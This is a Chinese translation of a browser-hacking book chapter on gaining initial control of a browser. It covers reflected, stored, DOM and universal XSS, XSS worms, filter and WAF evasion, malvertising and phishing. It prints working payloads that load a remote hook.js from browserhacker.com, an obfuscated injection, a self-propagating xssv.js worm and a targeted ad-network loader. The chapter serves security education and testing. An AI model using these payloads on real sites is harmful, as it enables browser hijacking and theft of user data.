第 2 章 初始控制

第 2 章 初始控制

攻击浏览器的第一步就是获得目标浏览器的控制权。这就像一只脚踏进门槛一样。虽然在实现最终的目标之前,还需要完成很多前期步骤,但这重要的第一步却是任何情况下都避免不了的。这一步是攻击浏览器方法体系中的初始控制阶段。

浏览器每执行一次来自服务器的指令,就会向你敞开一扇门,让你有机会取得对它的控制权。为了执行服务器返回的代码,浏览器必须承担一定的风险。此时,你必须制造一种情境,让浏览器运行你写的代码。做到这一点,才有机会进一步利用浏览器的功能。

初始控制阶段可能会碰到各种各样的情况。你可以用很多方法执行自己的指令,有的方法可能相当容易,而有的则可能需要多投入一些时间和精力。要获得控制权,最显而易见的方式就是让目标浏览器打开你的Web应用。

对于本章要讨论的技术,Web应用安全测试人员必须给予重视并且要透彻理解。事实上,其中很多都是大家熟悉的,或者说是在安全社区中被老生常谈的。

在浏览器能够执行你的指令之后,还必须明白自己不能做什么。下面我们先从第一阶段开始,看看如何获得初始控制。

2.1 理解控制初始化

获得初始控制权的第一步,就是寻找机会对目标施加某种程度的影响。为此,就要执行你设计好的初始化指令。把初始化指令安插进目标浏览器,就是初始化控制和攻击浏览器的首要任务。

代码的形式有很多。比如,JavaScript、HTML、CSS或其他浏览器能理解的代码,都可以成为初始控制的工具。有时候,初始代码的逻辑甚至可以封装在字节码文件中,比如一个恶意的SWF文件(Adobe Flash文件格式)。

采用什么技术实现对目标的控制,很大程度上取决于攻击的环境。如果使用了被盗用的站点,那么可以通过顺路下载来做。可是,如果你想要采用钓鱼式攻击,那么XSS可能是最好的选择。而如果你是在一间咖啡店,那么网络攻击恐怕最合适。随后几节,我们会逐一探讨这些攻击方法。

本章,我们会接触一个术语,叫勾连(hook)。勾连浏览器始于执行初始代码,然后是维护通信渠道(下一章再介绍)。当然,首先要让你宝贵的代码进入目标浏览器。

2.2 实现初始控制

获得目标浏览器控制权的方式实在太多了。这得益于互联网用户、现代浏览器复杂性、动态可执行语言以及可信模型混乱程度的爆炸式增长。

本章接下来主要讨论各种初始控制方法,但这绝对不是全部。浏览器的快速发展一定会不断为你提供新的选择。

2.2.1 使用XSS攻击

1995年,在网景公司给其Navigator浏览器中引入JavaScript之前,Web内容大多数是静态的HTML1。如果网站想改变内容,必须由用户点击链接,向服务器发送一个新的HTTP请求并等待服务器响应。于是就导致了动态语言的诞生。

1Netscape. (1995). Netscape and Sun announce JavaScript for enterprise networks and the Internet. Retrieved February 23, 2013 from http://web.archive.org/web/20070916144913/ http://wp.netscape.com/newsref/pr/new-srelease67.html

接着,JavaScript就问世了。就在浏览器支持动态语言后不久,第一批恶意代码注入的案例也随之出现。

最早的报告来自卡内基梅隆大学计算机紧急回应小组协调中心(Computer Emergency Response Team Coordination Center,CERT/CC),时间是2000年2月。CERT Advisory CA-2000-022记载了因疏忽而意外包含的恶意HTML标签和脚本,以及由于这些恶意代码的执行,用户会受到什么影响。恶意行为最早的形式包括:

2Carnegie Mellon University. (2000). CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests. Retrieved February 23, 2013 from http://www.cert.org/advisories/CA-2000-02.html

  • cookie篡改(cookie poisoning)

  • 暴露敏感信息

  • 违背基于来源的安全规则

  • 篡改Web表单

  • 暴露SSL加密的内容

最初的报告把这种攻击描述为通过情况下的“跨站点”脚本执行,最终则被称为Cross-site Scripting,简写成CSS。为了避免与简写形式相同的Cascading Style Sheets(层叠样式表)混淆,安全行业遂改称其为XSS3。随着时间推移,XSS已发展成为使用非常广泛的一种攻击手段,因为网页代码中的隐患确实太多了。

3Jeremiah Grossman. (2006). The origins of Cross-Site Scripting (XSS). Retrieved February 23, 2013 from http://jeremiahgrossman.blogspot.com.au/2006/07/origins-of-cross-site-scripting-xss.html

一般来说,在不可信的内容被处理,然后又被当成可信任内容在浏览器中渲染后,XSS就出现了。如果这个内容里包含HTML、JavaScript、VBScript或其他动态内容,浏览器就有可能执行不可信的代码。

举个例子,假如谷歌应用商店存在XSS可以利用的隐患,那么攻击者就可以欺骗用户安装恶意Chrome扩展。实际上,Jon Oberheide在2011年就演示过这种情况。Oberheide演示的对安卓Web市场中XSS隐患的利用,曾经轰动一时。如果坏人利用这个隐患,那么受害人的设备将被安装上任意应用,并且授权应用访问相应设备的任意权限4

4Jon Oberheide. (2011). How I Almost Won Pwn2Own via XSS. Retrieved March 3, 2013 from http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/

XSS分很多种类,但宽泛地说,它们可能会影响浏览器和服务器中的任何一个。很早就有的反射型XSS(Reflected XSS)和持久型XSS(Persistent XSS)是利用服务器端隐患的,而DOM XSS和通用XSS(Universal XSS,也叫UXSS)利用的则是客户端的缺陷。

当然,也存在服务器端和客户端都有缺陷和隐患的情况。这时候,单方面可能没有安全问题,但两个方面结合起来,就有可能为XSS提供可乘之机。

与其他安全领域类似,随着我们介绍的攻击方法越来越多,混合使用各种方法的情况也会增多。但考虑到尊重历史和全面了解的学习宗旨,本书会使用以下比较传统和宽泛的XSS分类方式。

1. 反射型XSS

反射型XSS是最常见的XSS,其过程是不可信用户数据被提交到一个Web应用,然后该数据立即在响应中被返回,也就是说在页面中反射回了不可信内容。由于浏览器看到的是服务器端代码,所以就相信它是安全的,于是就会执行它。

与多数XSS一样,反射型XSS受同源策略的限制。这种情况下的隐患在服务器端代码中。下面是一个存在隐患的JSP代码的例子:

<% String userId = request.getParameter("user"); %>
Your User ID is <%= userId %>

这行代码接收用户查询参数并将参数内容直接在响应中返回。利用这种隐患很简单,只要在浏览器地址栏内输入以下地址:http://browservictim.com/userhome.jsp?user=<iframe%20src=http://browserhacker.com/></iframe>。执行后,就会在页面中插入一个地址为browserhacker.com的框架。

同样,要向浏览器中注入远程JavaScript脚本,只需欺骗目标访问以下地址:http://browservictim.com/userhome.jsp?user=<script%20src=http://browserhacker.com/hook.js></script>。Web应用在处理这个URL时,就会在HTML中返回相应的<script>块。浏览器在接收到响应后,看到其中包含指向远程JavaScript的<script>块,就会在被攻击来源的上下文中执行该脚本。

本章后面还会介绍,要成功利用这种Web应用的缺陷,需要配合某种程度的社会工程手段。比如,需要提供一个短网址或者模糊后的URL,或者采用其他方法欺骗用户访问你编造的URL。

模糊URL

模糊URL的方法如下:

  • 缩短URL

  • 重定向URL

  • 采用URL编码或ASCII编码来编码URL

  • 添加一些多余的、无关的查询参数,把恶意内容放在中间或后面

  • 在URL中使用@符号以添加伪域名内容

  • 把主机名转换为整数,比如http://3409677458

 

现实中的反射型XSS

现实当中的反射型XSS利用案例实在太多了,我们在这里挂一漏万地只列出几个比较突出的例子。

  • Ramneek Sidhu的“Reflected XSS vulnerability affects millions of sites hosted in HostMonster”(http://www.ehackingnews.com/2013/01/reflected-xss-hostmonster.html

    HostMonster的主机服务对所有托管的网站都默认提供了一个HTTP 404错误页面。不幸的是,这个错误页面有一个显示广告的函数,被XSS攻击者发现可以利用。而攻击用的代码对HostMonster托管的每个网站都适用。

  • XSSed的“F-Secure, McAfee and Symantec websites again XSSed”(http://www.xssed.com/news/130/F-Secure_McAfee_and_Symantec_websites_again_XSSed/

    XSSed是一个报告XSS缺陷的流行网站,发表过一篇汇总主流安全厂商发现的反射型XSS隐患的文章。这些厂商有F-Secure、McAfee和Symantec。

  • Michael Sutton的“Mobile App Wall of Shame: ESPN ScoreCenter”(http://research.zscaler.com/2013/01/mobile-app-wall-of-shameespn.html

    XSS缺陷不一定只存在于标准的浏览器。ZScaler研究人员Michael Sutton发现了一个移动网站的XSS缺陷,而这个移动网站主要是通过iPhone应用中WebView控制器来渲染的。太多的应用开发者会利用嵌入的Web框架在自己的应用中显示信息。不管网站是在哪里渲染(在桌面浏览器或iPhone应用中),都会造成可利用的XSS缺陷。

2. 存储型XSS

存储型(或持久型)XSS与反射型XSS类似,区别在于存储型XSS会持久保存于Web应用的数据存储中。随后,只要是在脚本被持久存储后访问被侵入网站的浏览器,都会执行该恶意代码。对攻击者来说,这种XSS是比较有吸引力的,因为不必每次都煞费苦心地设计链接或者采用社会工程手段,相对一劳永逸了,结果则是比较容易被滥用。

这种攻击通常会利用后端数据库来保存恶意代码,但有时候也可能会使用日志文件。假如Web应用记录日志的程序没有防御XSS的能力,而查看这些日志都要使用基于Web的GUI,那把恶意代码保存于日志就是一种途径。

任何查看这些日志的人,都会无意间在自己的浏览器中渲染并运行恶意代码。此外,由于通常只有管理员有权限查询日志,因此这些恶意代码往往能够执行敏感或危险的操作。

在上一节中反射型XSS示例的基础上,假设应用也要把用户的显示名称保存起来。比如:

<%
 String userDisplayName = request.getParameter("userdisplayname");
 String userSession = session.getAttribute('userid');
 String dbQuery = "INSERT INTO users (userDisplayName) VALUES(?) WHERE
  userId = ?";
 PreparedStatement statement = connection.prepareStatement(dbQuery);
 statement.setString(1, userDisplayName);
 statement.setString(2, userSession);
 statement.executeUpdate();
%>

假设在应用中的某个地方,有代码会提取最后登录用户的列表:

<%
Statement statement = connection.createStatement();
ResultSet result =
  statement.executeQuery("SELECT * FROM users LIMIT 10");
%>
The top 10 latest users to sign up:<br />
<% while(result.next()) { %>
  User: <%=result.getString("userDisplayName")%><br />
<% } %>

那么利用这个漏洞(比如访问这个链接:http://browservictim.com/newuser.jsp?userdisplayname=<script%20src=http://browserhacker.com/hook.js></script>),就能让作为攻击者的你威力倍增。这是因为你不是每次只欺骗一个用户,而是一劳永逸地让后续所有访问者都运行恶意的JavaScript代码,如果不把恶意代码去掉,攻击会一直持续下去。

现实中的存储型XSS

以下举几个现实中的存储型XSS的例子。

  • Ben Hayak的“Google Mail Hacking - Gmail Stored XSS - 2012! ”(http://www.benhayak.blogspot.co.uk/2012/06/google-mail-hacking-gmail-stored-xss.html

    Hayak发现了Gmail存在的持久型XSS缺陷。这个缺陷出现在谷歌为Gmail增加的一项新功能中,这项新功能是让用户在Gmail中包含Google+朋友的信息。如果你在Google+个人信息中包含了一段恶意JavaScript,(某些情况下)你的朋友就可能在他的Gmail中执行你的代码。

  • XSSed的“Another eBay permanent XSS”(http://www.xssed.com/news/131/Another_Ebay_permanent_XSS/

    eBay同样有很多Web隐患。一位名叫Shubham Upadhyay的安全研究人员发现,可以在eBay添加包含额外JavaScript代码的新列表。这意味着没有警惕性的用户如果查看相应列表,就会在https://ebay.com来源下执行其中的JavaScript(持久型XSS)。

3. DOM XSS

DOM XSS是一种纯粹的客户端XSS类型,不依赖Web应用处理用户输入时的漏洞。与反射型和存储型XSS相比,DOM XSS的不同之处在于只利用客户端代码(比如JavaScript)中存在的缺陷。

想象一种场景。某组织想包含一个参数用于设置欢迎消息。但是,这个功能没有添加到服务器端,而是放到了客户端代码中。这段代码会根据URL中的内容动态修改页面,使用的代码如下:

document.write(document.location.href.substr(
  document.location.href.search(
    /#welcomemessage/i)+16,document.location.href.length))

这段代码会收集URL的#welcomemessage=x参数之后的文本,其中x可能包含任意字符,最终要写到当前网页的文档中。比如,使用下面的URL,http://browservictim.com/homepage.html#welcomemessage=Hiya,在JavaScript执行之后,就会在页面主体中插入文本'Hiya'

那么包含恶意代码的URL就可以是http://browservictim.com/homepage.html#welcomemessage=<script>document.location='http://browserhacker.com'</script>。这样就会把JavaScript脚本插入DOM,导致浏览器重定向到http://browserhacker.com。

因为代码只在客户端执行,所以如果不出问题,DOM XSS攻击对服务器通常是不可见的。只要使用片段标识符(#号后面的字符),就可以通过浏览器向Web应用发送(正常情况下)不可能发送的数据。

在攻击字符串位于#号后面的数据中时,恶意数据是依存于浏览器的。对于使用Web应用防火墙作为防御控制的应用来说,这种方法是有效的。此时,请求的恶意部分可能永远不会被Web应用的防火墙发现。

另一种可能被利用的隐患的代码如下所示:

function getId(id){
  console.log('id: ' + id);
}

var url = window.location.href;
var pos = url.indexOf("id=")+3;
var len = url.length;
var id = url.substring(pos,len);
eval('getId(' + id.toString() + ')');

把恶意代码注入id参数,就可以利用以上代码。在这个例子中,假设你想注入一个加载和执行远程JavaScript文件的指令,就可以使用下面这个DOM XSS攻击:

http://browservictim.com/page.html?id=1');s=document.createElement('script');s. src='http://browserhacker.com/hook.js';document.getElementsByTagName('head')[0].appendChild(s);//

有读者可能已经猜到了,上面这行代码不会真正执行,因为其中的单引号字符会导致调用eval()时出错。为此,可以使用JavaScript的String.fromCharCode()方法封装这行代码,得到的URL类似如下所示:

http://browservictim.com/page.html?id=1');eval(String.fromCharCode(115,
61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,10
9,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61
,39,104,116,116,112,58,47,47,98,114,111,119,115,101,114,104,97,99,107,10
1,114,46,99,111,109,47,104,111,111,107,46,106,115,39,59,100,111,99,117,1
09,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,9
7,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,10
1,110,100,67,104,105,108,100,40,115,41,59))//

这个例子展示了利用这种XSS时的一个有意思的问题。这种利用形式的前提就是必须在神不知鬼不觉的情况下进行。对于前面的例子,欺骗用户执行恶意URL的方式有很多,比如通过电子邮件、社交网络的状态更新,或者通过即时消息。

通常,这些URL都会使用http://bit.ly或http://goo.gl等短网址服务缩短,以达到隐藏真实意图的目的。2.2.4节还会再深入探讨这种攻击方法。

现实中的DOM XSS

以下是现实中的几个DOM XSS的例子。

  • Stefano Di Paola的“DOM XSS on Google Plus One Button”(http://blog.mindedsecurity.com/2012/11/dom-xss-on-google-plus-one-button.html

    Stefano Di Paola发现了谷歌+1按钮JavaScript中的一个CORS的缺陷。利用这个缺陷可以在Google的来源下执行指令。

  • Shahin Ramezany的“Yahoo Mail DOM-XSS”(http://abysssec.com/files/Yahoo!_DOM-SDAY.pdf

    雅虎一个不幸的用于广告的子域使用了过时的JavaScript,其中暴露出了一个DOM XSS缺陷。虽然第三方脚本已经更新解决了对eval()调用未加保护的问题,但在研究这个问题的时候,雅虎仍然使用了存在隐患的脚本。

4. 通用型XSS

通用型XSS是另一种在浏览器中执行恶意JavaScript的方法。某些情况下,这种方法甚至可以不受SOP制约。

现实当中的通用型XSS

以下是一个现实当中非常有意思的通用型XSS的例子。

2009年,Roi Saltzman发现了配合使用Chrome的ChromeHTML URL处理程序,让IE加载任意URI的漏洞。

var sneaky = 'setTimeout("alert(document.cookie);", 4000);
  document.location.assign("http://www.gmail.com");';
document.location =
  'chromehtml:"80%20javascript:document.write(sneaky)"';

在合适的条件下,攻击者就可以在几乎任何源的名义下对目标发动攻击5。比如,前面的JavaScript会将当前位置设置为一个Chrome框架,然后在Gmail加载之后会延迟执行一段脚本。

5Roi Saltzman. (2009). Google Chrome Universal XSS Vulnerability. Retrieved March 4, 2013 from http://blog.watchfire.com/wfblog/2009/04/googlechrome-universal-xss-vulnerability-.html

实际应用中,这种攻击一般会更进一步,除了利用浏览器本身的缺陷,还可能利用其扩展和插件的缺陷。第7章将更详细地介绍相关内容。

5. XSS病毒

2005年,Wade Alcorn的一份研究6,展示了将恶意XSS代码以病毒方式传播的可能性。在Web应用和浏览器具备某种条件的情况下,代码的自传播就可能发生。

6Wade Alcorn. (2005). The Cross-site Scripting Virus. Retrieved February 23, 2013 from http://www.bindshell.net/papers/xssv.html

这份研究讨论了一种情况,即存储型XSS一旦奏效,有可能导致(受影响源的)后续访问者也会执行恶意JavaScript。结果就是目标浏览器会尝试对其他Web应用执行XSS。相应XSS的攻击代码如下:

<iframe name="iframex" id="iframex" src="hidden" style="display:none">
</iframe>
<script SRC="http://browserhacker.com/xssv.js"></script>

xssv.js文件的内容如下:

function loadIframe(iframeName, url) {
  if ( window.frames[iframeName] ) {
    window.frames[iframeName].location = url;
    return false;
  }
  else return true;
}

function do_request() {
  var ip = get_random_ip();
  var exploit_string = '<iframe name="iframe2" id="iframe2" ' +
    'src="hidden" style="display:none"></iframe> ' +
    '<script src="http://browserhacker.com/xssv.js"></script>';

  loadIframe('iframe2',
    "http://" + ip + "/index.php?param=" + exploit_string);
}

function get_random()
{
  var ranNum= Math.round(Math.random()*255);
  return ranNum;
}

function get_random_ip()
{
  return "10.0.0."+get_random();
}

setInterval("do_request()", 10000);

可以看到,这里的JavaScript会定时执行do_request(),这个方法基于loadIframe()方法随机向不同的主机发动XSS攻击,get_random_ip()get_random()函数用于产生随机IP。随后只要访问被修改网页的浏览器,都会依次展开随机攻击。

这种恶意JavaScript自动传播的特点,对浏览器来说意味着很多可能性。在Alcorn的演示中,攻击的发起不依赖任何用户交互,只要用户在浏览器中打开网页就够了。打开相应网页的浏览器随后就会执行命令,然后一直继续下去。

攻击代码本身会自动传播并自动终止。但正如后面几章会讲到的,在此期间被执行的恶意活动次数是没有穷尽的。

(1) Samy

Alcorn假想的攻击研究,是在不久前Samy Kamkar声名狼藉地感染100多万MySpace用户的“Samy Worm”之后展开的。很多安全专家认为“Samy Worm”的感染速度前所未有,前24小时就达到了100万。

不过请大家注意,XSS病毒的传播与传统计算机病毒传播没有可比性。特别是在XSS病毒并不会在受感染浏览器中留下有条件可执行文件的情况下,更是如此。

Samy Worm使用了一些技术绕过MySpace的防御手段。概括来说,包括如下几种。

  • 通过div的background:url参数执行初始的JavaScript,针对IE5和IE6:

    <div style="background:url('javascript:alert(1)')">
    
  • 通过把代码转移到其他地方,然后通过style属性运行指令,绕过单引号和双引号转义问题:

    <div
    id="mycode" expr="alert('hah!')"
    style="background:url('javascript:eval(document.all.mycode.expr)')"
    >
    
  • 通过插入换行符(\n)绕过对javascript这个词的过滤

  • 使用String.fromCharCode()方法插入双引号

  • 使用eval()方法绕过其他黑名单中的关键词:

    eval('xmlhttp.onread' + 'ystatechange = callback');
    
    

要查看完整代码及介绍,请访问这个网址:http://namb.la/popular/tech.html

(2) Jikto

就在最初的XSS传播研究发布两年之后,也就是2007年,Hoffman在ShmooCon上展示了Jikto。Jikto是一个演示工具,演示了未修复XSS缺陷的影响,以及在浏览器中执行攻击者控制的代码时会发生什么。

Jikto的设计理念是静默地开启一个JavaScript循环,要么像Samy一样尝试自传播,要么向一个中心服务器索要下一步的指令。相对之前的XSS自传播研究而言,Jikto更进了一步。虽然Jikto的代码是内部代码,但后来也泄漏了,而且有人开始将它用于互联网。

Jikto最值得关注的一个进步,就是它绕过SOP的方法。它会通过一个代理(或跨域的桥梁)同时加载Jikto代码和目标源的内容,把它们放到同一个源下面。最早使用的是Google Translate作为不同请求的代理,但Jikto也可以修改使用其他代理。要想获得Jikto的代码,请访问https://browserhacker.com

(3) 最小XSS蠕虫大赛

到了2008年,XSS病毒和蠕虫的概念已经尽人皆知,安全社区里也不断讨论。自此以后,摆在人们面前的问题就是怎么优化并找到构建这些自传播代码的最有效方式。

Robert Hansen在2008年举办的最小蠕虫大赛(Diminutive XSS Worm Replication Contest of 2008)7就是这么一次尝试。这次大赛的目标就是找到一种方法,使用尽可能少的代码,构建一个能够自复制的HTML或JavaScript片段,通过POST请求复制执行标准的alert对话框脚本。

7Robert Hansen. (2008). Diminutive Worm Contest Wrapup. Retrieved February 23, 2013 from http://ha.ckers.org/blog/20080110/diminutive-worm-contest-wrapup/

获胜者Giorgio Maone和Eduardo Vela提交了非常近似的方案。他们构建的片段都只有161字节,通过POST请求复制自身到一个PHP文件。复制后大小不会增加,不需要用户交互,甚至不需要任何cookie数据:

<form>
 <input name="content">
  <img src=""
   onerror="with(parentNode)

  alert('XSS',submit(content.value='<form>'+
   innerHTML.slice(action=(method='post')+
   '.php',155)))">

还有

<form>
 <INPUT name="content">
  <IMG src="" onerror="with(parentNode)
   submit(action=(method='post')+
   '.php',content.value='<form>'+
   innerHTML.slice(alert('XSS'),155))">

可以很清楚地看到,利用这个常见的Web应用缺陷嵌入初始恶意脚本的逻辑有多险恶。虽然我们力求全面总结各种XSS,但新的攻击形式仍然层出不穷,而这正是Web安全领域的一大特色。

DOM型和通用型XSS就是后来才出现的XSS攻击形式。与此同时,随着互联网、HTML及浏览器功能的不断增强,我们相信,作为一种执行内容的奇特而又奇妙的方式,XSS仍将长期存在。

6. 绕过XSS防御机制

下面我们简单介绍一下绕过XSS防御机制的技术。后面,在本书第3章,我们还将深入探讨模糊恶意代码的辅助技术。

前面展示的大多数XSS示例都有一个前提,就是作为攻击者的你不会遇到任何限制,就可以提交恶意JavaScript。而在现实当中,通常却不是这种情况。目标浏览器中会有很多障碍阻止你执行攻击代码。

我们所说的障碍有很多种,包括被注入上下文的限制,浏览器间的语言差异,浏览器内置的安全机制,甚至Web应用的防御手段。有一天,当你真正开始XSS攻击的征程之时,会发现要攻克这些障碍都是家常便饭。

(1) 绕过浏览器XSS防御机制

除了执行JavaScript时可能会遇到的问题,现代浏览器中内置的XSS防御机制也是重要的客户端屏障。这些防御手段都是为了降低XSS攻击代码在目标浏览器中执行的可能性,比如Chrome和Safari的XSS Auditor、IE的XSS过滤器,以及Firefox的NoScript扩展。

有一种绕过XSS过滤器的技术叫mXSS(mutation-based Cross-site Scripting,基于变异的XSS)8,它依赖于浏览器对输入优化后产生的变异。这种方法只有在浏览器优化你的输入时才起作用。换句话说,开发者必须使用innerHTML或类似方式解析你的输入。

8Mario Heiderich, Jorg Schwenk, Tilman Frosch, Jonas Magazinius, Edward Yang. (2013). mXSS attacks: attacking well-secured web applications by using innerHTML mutations. Retrieved October 19, 2013 from https://cure53.de/fp170.pdf

关键是你的输入会以某种方式被优化处理。以下代码演示了mXSS的工作原理:

// attacker input to innerHTML
<img src="test.jpg" alt="``onload=xss()" />

// browser output
<IMG alt=``onload=xss() src="test.jpg">

这个例子中的重点,在于使用重音符(`)绕过IE的XSS过滤器。浏览器对这个示例代码优化的结果,就是执行onload属性的值。

(2) 绕过服务器XSS防御机制

XSS过滤并非仅限于客户端。事实上,Web应用一直以来都用过滤来应对Web隐患。最完备的情况下,Web应用中的XSS防范措施会涉及输入过滤和输出编码。

一个例子是绕过微软的.NET Framework。.NET Framework内置很多方法,让开发人员能够降低服务器解析恶意代码的可能性,包括RequestValidator类。但其早期的防范措施也不是十分有效,比如提交下面任何一行代码都可以绕过其过滤器:

<~/XSS/*-*/STYLE=xss:e/**/xpression(alert(6))>
<%tag style="xss:expression(alert(6))">

这两个例子利用的都是expression(),它是微软Dynamic Properties的一部分。这个新功能用于在CSS中提供动态属性。

除了从源头上修复这些问题,安全提供商也很快拿出了应对非隐患应用的自动修复方案。这些方案可见于Web Application Firewalls(WAF)等设备,或者执行同样任务的软件过滤器。无论什么情况,以及实现技术及过程如何,目标始终与客户端防范机制是一致的,即尽可能降低攻击者利用这些隐患的可能性。

这些技术效果非常好,所有攻击者都只能打道回府,而WAF技术被视为防范所有Web隐患的灵丹妙药。没错,是真的有圣诞老人!好吧,实际上,在面对挑战时,黑客们总能攻坚克难9。与绕过客户端防御机制类似,绕过服务器端防御机制的代码及方法很快也被开发出来。

9Ryan Barnett. (2013). ModSecurity XSS Evasion Challenge Results. Retrieved February 23, 2013 from http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html

WAF(或相关)技术使用一个常见的技巧来过滤恶意代码,包括对超出上下文或可疑括号的检测。Gareth Heyes在2012年提出的技术10就是成功绕过服务器端防御的一个绝佳例子,它会在DOM对象window上附加一个(不带括号的)错误处理程序,然后立即抛出:

10Gareth Heyes. (2012). XSS technique without parentheses. Retrieved February 23, 2013 from http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/

onerror=alert;throw 1;
onerror=eval;throw'=alert\x281\x29';

这两种情况都不包含可疑的括号。但为了起作用,必须通过一个HTML元素的属性把它们注入进去。

XSS备忘录

好吧,我们承认,假如你并非资深的程序员或者JavaScript黑客,那前面的例子一定会让你愁容满面,而且紧握的拳头里可能已经满是急不可耐的汗水!

请放宽心。实际上,很多时候,就算是对一个攻击者或测试员来说,要记住所有绕过XSS过滤器的方法也是不现实的。

在这里,我们向大家推荐一个著名的Robert Hansen(RSnake)原创的XSS备忘录,这份备忘录已经捐献给了OWASP,可以通过这个网址访问:https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

对HTML5引入的大批新特性而言,攻击浏览器的各种新方法和新属性也会陆续现身。Mario Heiderich已经发表了一份HTML5安全备忘录:http://html5sec.org/

除了这些备忘录,还有很多组合方法涵盖了攻击代码的转换、编码、组合和模糊。这里也推荐一些相关方法。

2.2.2 使用有隐患的Web应用

攻击者获取对浏览器访问权的一种常见方式,就是借助对Web应用的未授权访问。获取该访问权之后,攻击者可能会修改网页内容以包含恶意代码。

利用Web应用可能涉及各种攻击,包括利用SQL注入或远程代码执行。另一种控制Web应用的方法,是获取对FTP、SFTP或SSH等管理性服务的直接未授权访问,但这些内容已经超出本书所要讨论的范围。

获得访问权之后,就可以把任意内容插入目标Web应用。插入的内容可能会在任何浏览器中运行,取决于Web应用的用户使用了什么浏览器。而这就为在目标浏览器中插入即将执行的指令,以获取其初始控制权,提供了理想的突破口。

控制有大量用户访问的Web应用的来源,会获得大量目标浏览器。可控浏览器越多,攻击成功率就越高。当然,攻击到什么阶段,还要看用户交互的深度。

2.2.3 使用广告网络

在线广告网络会在互联网上星罗棋布的众多网站中显示横幅广告。可能很少有人会思考这些广告里到底都包含着什么。不必多言,最重要的就是广告中运行着你提供的代码。这里有一个你会感兴趣的用例!

利用广告网络可以在很多浏览器中运行你的初始控制代码。当然,你首先得注册,通过所有相关审核。而一旦完成,花点小钱,就会有机会控制大量浏览器。记住,不可能只以某个浏览器为目标,因为初始代码的执行会随机发生在各种源。

但作为专业攻击来说,不可能希望在随机出现的浏览器中寻找目标。我们希望的是寻找来自某个或某组IP地址的浏览器请求。而这可能需要配置一个BeEF之类的框架,本书后面将详细介绍这个框架。

有时候,可能你想要攻击的是一个安全的源。所谓安全,就是不仅仅在认证页面中使用广告提供商。此时,可以注册该广告提供商,然后使用下列代码,只在目标源中执行指令。

if (document.location.host.indexOf("browservictim.com") >= 0)
{
        var scr = document.createElement('script')
        scr.setAttribute('src','https://browserhacker.com/hook.js');
        document.getElementsByTagName('body').item(0).appendChild(scr);
}

使用前面的代码,可以检查来源,看它是不是正确的目标,然后再动态加载脚本。如果不查看源代码,这个脚本对其他域是不可见的。WhiteHat Security的Jeremiah Grossman和Matt Johansen,在BlackHat 2013展示了类似的攻击技术11。他们的研究涉及购买合法的广告,而广告中包含他们控制的嵌入式JavaScript。

11Matt Johansen and Jeremiah Grossman. (2013). Million Browser Botnet. Retrieved October 19, 2013 from https://media.blackhat.com/us-13/us-13-Grossman-Million-Browser-Botnet.pdf

2.2.4 使用社会工程攻击

社会工程是一系列方法的统称,这些方法的目标是强迫某人执行某些操作或者透露某些信息。在安全链条中,人的环节一直被认为是最薄弱的。从社会互动诞生之日起,虎视眈眈的敌人就开始利用这一点了。

过去,人们通常把社会工程看作某种形式的欺骗或欺诈。而在今天的数字领域中,社会工程往往意味着更直接的关系,但不一定依赖和受害者面对面的交互。

金融行业是一个受害相对严重的领域。行骗者会编造数字伎俩套取客户的银行交易凭证,然后转移盗取的资金。垃圾邮件和钓鱼网站是这些行骗者最常用的一个组合技术。

垃圾邮件与钓鱼

“垃圾邮件”(SPAM)和“钓鱼”经常作为同义词被人混用。在本书中,我们说的垃圾邮件指的是来路不明的电子邮件,通常是一批一批发送的推销真实(有时也不是真实)的商品和服务的邮件。而钓鱼则是一种直接获取信息(通常是用户名和密码)的手段,获取到的信息可能被拿到黑市上售卖,也可能直接被用来欺骗受害者。

钓鱼需要多个部分协同配合,包括伪造的网站、伪造的邮件,有时候还有伪造的即时消息。钓鱼邮件与垃圾邮件的策略通常是一样的,即意图引诱受害者访问伪造的网站。

鱼叉式钓鱼是一种与常规钓鱼类似的技术,但不同的是,它的目标不是大量受害者,而是少数受害者。因此鱼叉式钓鱼可以收集更多受害者的背景信息,进而精细准备诱饵,从而达到更有效欺骗受害者的目的。

有人记得2011年的RSA破坏吗?那次破坏的初始阶段就是针对两组不同的人分别实施鱼叉式钓鱼。而电子邮件的附件中包含对微软Excel的0日攻击。更多内容可以参考http://blogs.rsa.com/anatomy-of-an-attack/或者http://www.theregister.co.uk/2011/03/18/rsa_breach_leaks_securid_data/

利用钓鱼技术在目标组织的网络中建立一个攻击阵地,非常类似骗子行骗的节奏,只不过你想要的不是只获得一些重要凭据或其他信息,而是试图在目标浏览器中注入自己的指令。

接下来几节将深入讨论一些常用的方法。这些方法演示了怎么强制目标的浏览器执行攻击代码。

1. 钓鱼攻击

如前所述,钓鱼攻击一直是行骗者获得用户在线凭证的一种方法。钓鱼攻击的目标包括在线银行门户、PayPal、eBay,甚至税务部门。钓鱼攻击的形式多种多样,主要有以下几种。

  • 电子邮件钓鱼。向多个收件人群发一封邮件,要求受害人回复对攻击者有价值的信息。这种技术也用于通过链接或附件分发恶意软件。图2-1展示了一封钓鱼邮件。

    {%}

    图 2-1 钓鱼电子邮件12

  • 网站钓鱼。在网上伪造一个网站,模仿某个合法网站。为了欺骗用户访问这个网站,骗子还会采取辅助技术,比如钓鱼邮件、即时消息、短信,甚至打电话。

  • 鱼叉式钓鱼。经常也要使用一个欺骗性网站,但诱饵只针对一小群目标受众。

  • 鲸钓。指的是目标为高端人物或高级管理人员的鱼叉式钓鱼。

12Andrew Levin. (2007). File:PhishingTrustedBank.png. Retrieved February 23, 2013 from http://en.wikipedia.org/wiki/File:PhishingTrustedBank.png

在目标浏览器中,你的首要目的是让它执行你的代码。因此,我们不讨论纯粹的电子邮件钓鱼和其他与浏览器无关的社会工程手段。

(1) 第一阶段:伪造网站

钓鱼攻击的第一步就是伪造一个网站,在其中隐藏你的恶意代码。视情况不同,这个伪造的网站可以是一个完全虚构的网站,也可以模仿一个合法的网站。比如,你想攻击一家能源公司,就不会去伪造一个网上银行的门户网站,而是伪造一个与能源产业利益相关的网站,比如某能源管理机构的网站。

